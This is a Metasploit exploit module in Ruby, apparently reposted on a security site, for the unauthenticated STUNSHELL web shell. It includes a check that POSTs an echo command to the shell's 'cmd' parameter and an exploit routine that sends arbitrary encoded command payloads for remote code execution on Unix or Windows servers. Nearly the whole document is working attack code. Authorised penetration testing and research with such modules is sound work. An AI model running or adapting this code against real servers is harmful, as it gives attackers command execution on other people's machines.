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STUNSHELL Web Shell Remote Code Execution
来源:metasploit.com 作者:bwall 发布时间:2013-04-01  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'STUNSHELL Web Shell Remote Code Execution',
      'Description'    => %q{
          This module exploits unauthenticated versions of the "STUNSHELL" web shell.
        This module works when safe mode is disabled on the web server.  This shell is
        widely used in automated RFI payloads.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'bwall <bwall[at]openbwall.com>' # vuln discovery & msf module
        ],
      'References'     =>
        [
          ['URL', 'https://defense.ballastsecurity.net/wiki/index.php/STUNSHELL'],
          ['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=a4cd8ba05eb6ba7fb86dd66bed968007']
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 10000, # Value determined by web server's POST limits
          'BadChars' => '',
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd'
            }
        },
      'Platform'       => ['unix', 'win'],
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          ['stunshell / Unix', { 'Platform' => 'unix' } ],
          ['stunshell / Windows', { 'Platform' => 'win' } ]
        ],
      'DisclosureDate' => 'Mar 23 2013',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI',[true, "The path to the andalas_oku shell", "/IDC.php"]),
      ],self.class)
  end

  def check
    uri = normalize_uri(target_uri.path.to_s)
    request_parameters = {
      'method'  => 'POST',
      'uri'    => uri,
      'vars_post'  =>
        {
          'cmd' => "echo 'andalas_oku test parameter'"
        }
    }
    shell = send_request_cgi(request_parameters)
    if (shell and shell.body =~ /andalas_oku test parameter/)
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end

  def http_send_command(cmd)
    uri = normalize_uri(target_uri.path.to_s)
    request_parameters = {
      'method'  => 'POST',
      'uri'    => uri,
      'vars_post'  =>
        {
          'cmd' => cmd
        }
    }
    res = send_request_cgi(request_parameters)
    if not (res and res.code == 200)
      fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.')
    end
  end

  def exploit
    http_send_command(payload.encoded)
  end
end


 
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